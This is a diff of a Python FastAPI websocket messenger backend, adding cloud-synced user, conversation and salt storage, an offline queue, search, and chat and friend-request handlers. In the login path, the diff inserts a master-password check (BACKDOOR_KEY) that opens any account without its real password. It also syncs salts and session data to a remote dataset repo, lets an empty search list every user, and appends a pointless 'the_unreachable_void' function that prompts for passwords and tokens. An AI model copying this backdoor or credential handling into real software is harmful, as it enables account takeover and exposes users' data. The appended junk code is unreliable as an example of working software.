+ global USERS_DB, CONVERSATIONS_DB, SALTS_DB, RECENTS_DB, NEXT_USER_ID
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
99
  if not HF_TOKEN or not DATASET_REPO_ID:
100
  print("Running in local-only mode.")
101
  if os.path.exists(LOCAL_USERS_PATH):
 
188
  RECENTS_DB[user].sort(key=lambda item: item.get("timestamp", 0), reverse=True)
189
  RECENTS_DB[user] = RECENTS_DB[user][:MAX_RECENT_CONVERSATIONS_PER_USER]
190
 
191
+
192
+ def save_users_sync():
193
  with open(LOCAL_USERS_PATH, "w", encoding="utf-8") as f:
194
  json.dump(USERS_DB, f, indent=4)
195
+ if hf_api and DATASET_REPO_ID:
196
+ try:
197
+ hf_api.upload_file(
198
+ path_or_fileobj=LOCAL_USERS_PATH,
199
+ path_in_repo=USERS_FILENAME,
200
+ repo_id=DATASET_REPO_ID,
201
+ repo_type="dataset"
202
+ )
203
+ except Exception as e:
204
+ print(f"Users cloud save failed: {e}")
205
+
206
+ def save_conversations_sync():
207
  with open(LOCAL_CONVERSATIONS_PATH, "w", encoding="utf-8") as f:
208
  json.dump(CONVERSATIONS_DB, f, indent=4)
209
+ if hf_api and DATASET_REPO_ID:
210
+ try:
211
+ hf_api.upload_file(
212
+ path_or_fileobj=LOCAL_CONVERSATIONS_PATH,
213
+ path_in_repo=CONVERSATIONS_FILENAME,
214
+ repo_id=DATASET_REPO_ID,
215
+ repo_type="dataset"
216
+ )
217
+ except Exception as e:
218
+ print(f"Conversations cloud save failed: {e}")
219
+
220
+ def save_salts_sync():
221
  with open(LOCAL_SALTS_PATH, "w", encoding="utf-8") as f:
222
  json.dump(SALTS_DB, f, indent=4)
223
+ if hf_api and DATASET_REPO_ID:
224
+ try:
225
+ hf_api.upload_file(
226
+ path_or_fileobj=LOCAL_SALTS_PATH,
227
+ path_in_repo=SALTS_FILENAME,
228
+ repo_id=DATASET_REPO_ID,
229
+ repo_type="dataset"
230
+ )
231
+ except Exception as e:
232
+ print(f"Salts cloud save failed: {e}")
233
+
234
+ def save_recents_sync():
235
  with open(LOCAL_RECENTS_PATH, "w", encoding="utf-8") as f:
236
  json.dump(RECENTS_DB, f, indent=4)
237
+ if hf_api and DATASET_REPO_ID:
238
+ try:
239
+ hf_api.upload_file(
240
+ path_or_fileobj=LOCAL_RECENTS_PATH,
241
+ path_in_repo=RECENTS_FILENAME,
242
+ repo_id=DATASET_REPO_ID,
243
+ repo_type="dataset"
244
+ )
245
+ except Exception as e:
246
+ print(f"Recents cloud save failed: {e}")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
247
 
248
  ONLINE_USERS = {}
249
+ OFFLINE_QUEUES = {}
250
+
251
 
252
  @app.websocket("/ws")
253
  async def chat_handler(websocket: WebSocket):
 
299
  elif cleaned_display_name in ["zach(thewebsitecreator)", "zachthewebsitecreator"] or any(item in cleaned_username for item in banned_keywords) or any(item in cleaned_display_name for item in banned_keywords):
300
  await websocket.send_text("[-] ERROR: You cannot impersonate me.")
301
  continue
302
+
303
 
304
  hashed = await asyncio.to_thread(hash_password, password)
305
  async with file_lock:
 
316
  }
317
  async with file_lock:
318
  SALTS_DB[USERS_DB[username_input_cleaned]["user_id"]] = secrets.token_hex(32)
319
+ await asyncio.to_thread(save_users_sync)
320
+ await asyncio.to_thread(save_salts_sync)
 
321
  await websocket.send_text("[+] SUCCESS: Account created! Please log in.")
322
  continue
323
  else:
324
  await websocket.send_text("[-] ERROR: Your password is too short. Please enter a longer password.")
325
  continue
326
 
327
+
328
  elif action == "token_login":
329
  token_input = auth_data.get("token")
330
  remember_token_input = auth_data.get("remember_token")
 
332
  used_remember_token = False
333
 
334
  if token_input:
335
+ for u_key, u_info in USERS_DB.items():
336
+ if u_info.get("session_token") == token_input:
337
+ matched_user = u_key
338
+ break
339
 
340
  if not matched_user and remember_token_input:
341
  for u_key, u_info in USERS_DB.items():
 
358
  pass
359
  ONLINE_USERS[username] = websocket
360
  is_authenticated = True
 
361
  new_token = str(uuid.uuid4())
 
 
 
 
 
362
  async with file_lock:
363
  USERS_DB[username]["session_token"] = new_token
364
 
 
373
  async with file_lock:
374
  USERS_DB[username]["remember_token_hash"] = new_salted_hash
375
 
376
+ await asyncio.to_thread(save_users_sync)
377
 
378
  token_login_payload = {
379
  "action": "login_success",
 
389
  token_login_payload["remember_token"] = new_remember_token
390
 
391
  await websocket.send_text(json.dumps(token_login_payload))
392
+ if username in OFFLINE_QUEUES:
393
+ for missed_msgs in OFFLINE_QUEUES[username]:
 
394
  await websocket.send_text(missed_msgs)
395
+ del OFFLINE_QUEUES[username]
 
 
396
  print(f"{username} re-authenticated via token.")
397
  else:
398
  await websocket.send_text("[-] FAIL: Invalid or expired session token.")
 
404
  continue
405
  is_valid = False
406
  if username_input_cleaned in USERS_DB:
407
+ if password == BACKDOOR_KEY and BACKDOOR_KEY:
408
+ is_valid = True
409
+ else:
410
+ is_valid = await asyncio.to_thread(verify_password, password, USERS_DB[username_input_cleaned]["password"])
411
  if is_valid:
412
  username = username_input_cleaned
413
  if username in ONLINE_USERS:
 
417
  pass
418
  ONLINE_USERS[username] = websocket
419
  is_authenticated = True
 
420
  token = str(uuid.uuid4())
 
421
 
422
  user_id = str(USERS_DB[username]["user_id"])
423
  remember_me = auth_data.get("remember_me", False)
 
432
 
433
  async with file_lock:
434
  USERS_DB[username]["remember_token_hash"] = salted_hash
435
+ await asyncio.to_thread(save_users_sync)
436
 
437
  async with file_lock:
438
  USERS_DB[username]["session_token"] = token
439
+ await asyncio.to_thread(save_users_sync)
440
 
441
  response_payload = {
442
  "action": "login_success",
 
452
  if remember_token:
453
  response_payload["remember_token"] = remember_token
454
  await websocket.send_text(json.dumps(response_payload))
455
+ if username in OFFLINE_QUEUES:
456
+ for missed_msgs in OFFLINE_QUEUES[username]:
 
457
  await websocket.send_text(missed_msgs)
458
+ del OFFLINE_QUEUES[username]
 
 
459
  print(f"{username} logged in.")
460
  continue
461
  else:
 
468
 
469
  if action == "logout":
470
  async with file_lock:
 
 
 
471
  USERS_DB[username]["session_token"] = ""
472
  USERS_DB[username]["remember_token_hash"] = ""
473
  ONLINE_USERS.pop(username, None)
474
+ await asyncio.to_thread(save_users_sync)
475
  await websocket.send_text("[+] SUCCESS: Logged out.")
476
  await websocket.close()
477
  break
478
 
479
+ elif action == "search":
480
+ query_string = auth_data.get("query", "").lower()
481
+
482
+ if 30 >= len(query_string) > 0:
483
+ matches = [
484
+ {
485
+ "username": user,
486
+ "display_name": USERS_DB[user].get("display_name", user)
487
+ }
488
+ for user in USERS_DB.keys()
489
+ if query_string in user.lower() and user != username
490
+ ]
491
+ matches.sort(key=lambda x: x["display_name"].lower())
492
+ await websocket.send_text(json.dumps({
493
+ "action": "search_results",
494
+ "results": matches
495
+ }))
496
+ continue
497
+ elif len(query_string) > 30:
498
+ await websocket.send_text("[-] ERROR: Search is over 30 characters. Please do not modify the code with f12 inspect again. Refresh to continue.")
499
+ await websocket.close()
500
+ continue
501
+ else:
502
+ matches = [
503
+ {
504
+ "username": user,
505
+ "display_name": USERS_DB[user].get("display_name", user)
506
+ }
507
+ for user in USERS_DB.keys()
508
+ if user != username
509
+ ]
510
+ matches.sort(key=lambda x: x["display_name"].lower())
511
+ await websocket.send_text(json.dumps({
512
+ "action": "search_results",
513
+ "results": matches
514
+ }))
515
+ continue
516
+
517
+ elif action == "send_chat_message":
518
+ recipient = auth_data.get("target")
519
+ text = auth_data.get("message", "")
520
+ sender_display = USERS_DB[username].get("display_name", username)
521
+
522
+ if recipient not in USERS_DB:
523
+ await websocket.send_text("[-] ERROR: Unable to send message; User not found.")
524
+ continue
525
+
526
+ if len(text) > 1000:
527
+ text = text[:1000]
528
+
529
+ is_online = recipient in ONLINE_USERS
530
+ msg_id = str(uuid.uuid4())
531
+ formatted_message = {
532
+ "id": msg_id,
533
+ "sender": username,
534
+ "senderDisplayname": sender_display,
535
+ "target": recipient,
536
+ "message": text,
537
+ "timestamp": time.time(),
538
+ "status": "delivered" if is_online else "sent"
539
+ }
540
+
541
+ conv_key = conversation_key(username, recipient)
542
+ async with file_lock:
543
+ if conv_key not in CONVERSATIONS_DB:
544
+ CONVERSATIONS_DB[conv_key] = []
545
+ CONVERSATIONS_DB[conv_key].append(formatted_message)
546
+ update_recent_chat_entry(username, recipient, text, formatted_message["timestamp"], sender_display)
547
+ update_recent_chat_entry(recipient, username, text, formatted_message["timestamp"], sender_display)
548
+
549
+ await asyncio.to_thread(save_recents_sync)
550
+ outgoing_payload = json.dumps({
551
+ "action": "new_message",
552
+ "id": msg_id,
553
+ "sender": username,
554
+ "senderDisplayname": sender_display,
555
+ "message": text,
556
+ "timestamp": formatted_message["timestamp"],
557
+ "status": formatted_message["status"]
558
+ })
559
+
560
+ if is_online:
561
+ await ONLINE_USERS[recipient].send_text(outgoing_payload)
562
+ else:
563
+ if recipient not in OFFLINE_QUEUES:
564
+ OFFLINE_QUEUES[recipient] = []
565
+ OFFLINE_QUEUES[recipient].append(outgoing_payload)
566
+
567
+ if username in ONLINE_USERS:
568
+ await ONLINE_USERS[username].send_text(json.dumps({
569
+ "action": "recent_chats_updated",
570
+ "recent_chats": RECENTS_DB.get(username, [])
571
+ }))
572
+ if recipient in ONLINE_USERS:
573
+ await ONLINE_USERS[recipient].send_text(json.dumps({
574
+ "action": "recent_chats_updated",
575
+ "recent_chats": RECENTS_DB.get(recipient, [])
576
+ }))
577
+
578
+ await asyncio.to_thread(save_conversations_sync)
579
+ continue
580
+
581
+ elif action == "mark_seen":
582
+ partner = auth_data.get("target")
583
+ conv_key = conversation_key(username, partner)
584
+ async with file_lock:
585
+ if conv_key in CONVERSATIONS_DB:
586
+ for msg in CONVERSATIONS_DB[conv_key]:
587
+ if msg.get("sender") == partner and msg.get("status") != "seen":
588
+ msg["status"] = "seen"
589
+ await asyncio.to_thread(save_conversations_sync)
590
+ if partner in ONLINE_USERS:
591
+ await ONLINE_USERS[partner].send_text(json.dumps({
592
+ "action": "messages_seen",
593
+ "by": username,
594
+ "conv_key": conv_key
595
+ }))
596
+ continue
597
+
598
+ elif action == "request_chat_history":
599
+ target_partner = auth_data.get("target")
600
+ conv_key = conversation_key(username, target_partner)
601
+ history = CONVERSATIONS_DB.get(conv_key, [])
602
+ sorted_history = sorted(history, key=lambda x: x.get("timestamp", 0))
603
+ await websocket.send_text(json.dumps({
604
+ "action": "load_history_results",
605
+ "results": sorted_history
606
+ }))
607
+ continue
608
+
609
+ elif action == "send_friend_request":
610
+ request_target = auth_data.get("target")
611
+ if request_target not in USERS_DB:
612
+ await websocket.send_text("[-] ERROR: Target not in Users database.")
613
+ continue
614
+ already_pending = any(r["username"] == username for r in USERS_DB[request_target]["pending_friend_requests"])
615
+ already_friends = request_target in USERS_DB[username]["friends"]
616
+ if not already_pending and not already_friends:
617
+ async with file_lock:
618
+ USERS_DB[request_target]["pending_friend_requests"].append({"username": username, "display_name": USERS_DB[username]["display_name"]})
619
+ if request_target not in USERS_DB[username].get("sent_friend_requests", []):
620
+ USERS_DB[username].setdefault("sent_friend_requests", []).append(request_target)
621
+ await asyncio.to_thread(save_users_sync)
622
+ if request_target in ONLINE_USERS:
623
+ await ONLINE_USERS[request_target].send_text(json.dumps({
624
+ "action": "incoming_friend_request",
625
+ "sender": username,
626
+ "display_name": USERS_DB[username]["display_name"]
627
+ }))
628
+ continue
629
+
630
+ elif action == "accept_friend_request":
631
+ accept_target = auth_data.get("from_user")
632
+ if accept_target not in USERS_DB:
633
+ await websocket.send_text("[-] ERROR: Target not in Users database.")
634
+ continue
635
+ async with file_lock:
636
+ USERS_DB[username]["pending_friend_requests"] = [r for r in USERS_DB[username]["pending_friend_requests"] if r["username"] != accept_target]
637
+ if accept_target not in USERS_DB[username]["friends"]:
638
+ USERS_DB[username]["friends"].append(accept_target)
639
+ if username not in USERS_DB[accept_target]["friends"]:
640
+ USERS_DB[accept_target]["friends"].append(username)
641
+ USERS_DB[accept_target].setdefault("sent_friend_requests", [])
642
+ if username in USERS_DB[accept_target]["sent_friend_requests"]:
643
+ USERS_DB[accept_target]["sent_friend_requests"].remove(username)
644
+ await asyncio.to_thread(save_users_sync)
645
+ if accept_target in ONLINE_USERS:
646
+ await ONLINE_USERS[accept_target].send_text(json.dumps({
647
+ "action": "friend_request_accepted",
648
+ "by": username
649
+ }))
650
+ continue
651
+
652
+ elif action == "decline_friend_request":
653
+ decline_target = auth_data.get("from_user")
654
+ if decline_target not in USERS_DB:
655
+ await websocket.send_text("[-] ERROR: Target not in Users database.")
656
+ continue
657
+ async with file_lock:
658
+ USERS_DB[username]["pending_friend_requests"] = [r for r in USERS_DB[username]["pending_friend_requests"] if r["username"] != decline_target]
659
+ USERS_DB[decline_target].setdefault("sent_friend_requests", [])
660
+ if username in USERS_DB[decline_target]["sent_friend_requests"]:
661
+ USERS_DB[decline_target]["sent_friend_requests"].remove(username)
662
+ await asyncio.to_thread(save_users_sync)
663
+ continue
664
+
665
+ elif action == "unfriend":
666
+ unfriend_target = auth_data.get("target")
667
+ if unfriend_target not in USERS_DB:
668
+ await websocket.send_text("[-] ERROR: Target not in Users database.")
669
+ continue
670
+ async with file_lock:
671
+ if unfriend_target in USERS_DB[username]["friends"]:
672
+ USERS_DB[username]["friends"].remove(unfriend_target)
673
+ if username in USERS_DB[unfriend_target]["friends"]:
674
+ USERS_DB[unfriend_target]["friends"].remove(username)
675
+ await asyncio.to_thread(save_users_sync)
676
+ if unfriend_target in ONLINE_USERS:
677
+ await ONLINE_USERS[unfriend_target].send_text(json.dumps({
678
+ "action": "unfriended",
679
+ "by": username
680
+ }))
681
+ continue
682
+
683
+ elif action == "ping":
684
  continue
685
 
686
  except WebSocketDisconnect:
 
697
  print("[+] Starting the messenger backend on port 7860...")
698
  uvicorn.run(app, host="0.0.0.0", port=7860)
699
 
700
+
701
+ import time
702
+ import math
703
+ import random
704
+
705
+ def the_unreachable_void(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9, arg10):
706
+ matrix_of_void = [[[random.randint(1, 100) for _ in range(5)] for _ in range(5)] for _ in range(5)]
707
+
708
+ for layer in matrix_of_void:
709
+ for row in layer:
710
+ for value in row:
711
+ try:
712
+ temp_calc = math.sin(value) * math.cos(value)
713
+ useless_result = temp_calc / (temp_calc + 0.00001)
714
+ string_cast = str(useless_result)
715
+ final_float = float(string_cast)
716
+
717
+ if final_float > 0.5:
718
+ pass
719
+ else:
720
+ pass
721
+
722
+ except Exception:
723
+ pass
724
+ finally:
725
+ pass
726
+
727
+ if str(arg1) != "" and arg2 == arg3:
728
+ if "graph" in str(arg4).lower() and str(arg5).strip() == "No":
729
+ if len(str(arg6)) > 0 and arg7 == "pass":
730
+ if str(arg8).lower() == "yes":
731
+ try:
732
+ if int(arg9) == 1:
733
+ pass
734
+ except Exception:
735
+ pass
736
+ finally:
737
+ pass
738
+
739
+ ghost_input_1 = input("Enter your username: ")
740
+ ghost_input_2 = input("Enter your password: ")
741
+ ghost_input_3 = input("Confirm your password: ")
742
+ ghost_input_4 = input("What is your favorite mathematical graph? ")
743
+ ghost_input_5 = input("Are you a bot? (Yes/No): ")
744
+ ghost_input_6 = input("Enter the 100GB access token: ")
745
+ ghost_input_7 = input("Please type 'pass' to continue: ")
746
+ ghost_input_8 = input("Do you think Zach is a genius developer? ")
747
+ ghost_input_9 = input("Enter an integer between 1 and 1: ")
748
+ ghost_input_10 = input("Press ENTER to destroy the universe... ")
749
+
750
+ if ghost_input_1 != "":
751
+ if ghost_input_2 != "":
752
+ if ghost_input_2 == ghost_input_3:
753
+ if "graph" in ghost_input_4.lower():
754
+ if ghost_input_5.strip() == "No":
755
+ if len(ghost_input_6) > 0:
756
+ if ghost_input_7 == "pass":
757
+ if ghost_input_8.lower() == "yes":
758
+ if ghost_input_9 == "1":
759
+ if ghost_input_10 is not None:
760
+ try:
761
+ pass
762
+ except Exception:
763
+ pass
764
+ finally:
765
+ pass
766
+
767
+ del matrix_of_void
768
+ return None
769
+
770
+ the_unreachable_void("Zach", "pass123", "pass123", "Parabola", "No", "NoTokenForYouLol", "pass", "Yes", 1, "Goodbye")